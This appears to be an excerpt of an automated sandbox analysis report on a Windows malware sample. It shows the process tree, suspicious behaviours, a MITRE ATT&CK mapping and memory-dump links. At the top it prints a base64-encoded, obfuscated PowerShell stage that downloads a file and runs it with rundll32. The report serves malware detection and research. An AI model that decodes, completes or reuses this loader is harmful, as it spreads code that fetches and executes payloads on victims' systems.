AEIAQwBMAEkAZQBuAFQAKQAuACIAZABPAGAAdwBuAGAATABPAGEARABmAGkAbABlACIAKAAkAFgAagA4AHMAMQA1ADEALAAgACQAQQBkADEAcgBhADgAbgApADsAJABEADkANABKAD0AKAAnAEIAJwArACgAJwAzACcAKwAnADIARwAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABBAGQAMQByAGEAOABuACkALgAiAEwAYABFAG4AZwBgAFQASAAiACAALQBnAGUAIAAzADMAMQAyADAAKQAgAHsALgAoACcAcgB1AG4AZABsACcAKwAnAGwAMwAnACsAJwAyACcAKQAgACQAQQBkADEAcgBhADgAbgAsACgAJwBBACcAKwAnAG4AeQAnACsAKAAnAFMAdAByACcAKwAnAGkAJwApACsAJwBuAGcAJwApAC4AIgB0AE8AUwBUAFIAYABpAG4ARwAiACgAKQA7ACQAVgA3ADgAQgA9ACgAJwBTACcAKwAoACcAOAA1ACcAKwAnAEIAJwApACkAOwBiAHIAZQBhAGsAOwAkAFYAOABfAFAAPQAoACcARgA2ACcAKwAnADcATAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEAMAA0AFYAPQAoACcASQAyACcAKwAnADYAWgAnACkA
  2⤵
  - Blocklisted process makes network request
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1120
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Nk2duhb\Gxlh9ia\E6_R.dll AnyString
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:740
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Nk2duhb\Gxlh9ia\E6_R.dll AnyString
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:1272
    - - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Admin\Nk2duhb\Gxlh9ia\E6_R.dll",#1
        5⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1136
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Bqrepatipzh\yixdaobdic.kim",FMZejPbMUrTUPZ
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:544
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Bqrepatipzh\yixdaobdic.kim",#1
        7⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:652

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1100-3-0x000000006FF11000-0x000000006FF13000-memory.dmp

Download

memory/1100-2-0x0000000072491000-0x0000000072494000-memory.dmp

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memory/1100-4-0x000000005FFF0000-0x0000000060000000-memory.dmp

Download

memory/1120-15-0x000000001C3D0000-0x000000001C3D1000-memory.dmp

Download

memory/1120-14-0x00000000024B0000-0x00000000024B1000-memory.dmp

Download

memory/1120-10-0x000000001AB50000-0x000000001AB51000-memory.dmp

Download

memory/1120-7-0x000007FEFB991000-0x000007FEFB993000-memory.dmp

Download

memory/1120-8-0x000007FEF50F0000-0x000007FEF5ADC000-memory.dmp

Download

memory/1120-16-0x000000001C4A0000-0x000000001C4A1000-memory.dmp

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memory/1120-11-0x0000000002750000-0x0000000002751000-memory.dmp

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memory/1120-9-0x0000000002380000-0x0000000002381000-memory.dmp

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memory/1120-13-0x000000001AAD4000-0x000000001AAD6000-memory.dmp

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memory/1120-12-0x000000001AAD0000-0x000000001AAD2000-memory.dmp

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memory/1272-31-0x0000000000180000-0x00000000001A0000-memory.dmp

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memory/1272-32-0x0000000010000000-0x0000000010023000-memory.dmp

Download

memory/1272-20-0x00000000760C1000-0x00000000760C3000-memory.dmp

Download

memory/1620-43-0x000007FEF72E0000-0x000007FEF755A000-memory.dmp

Download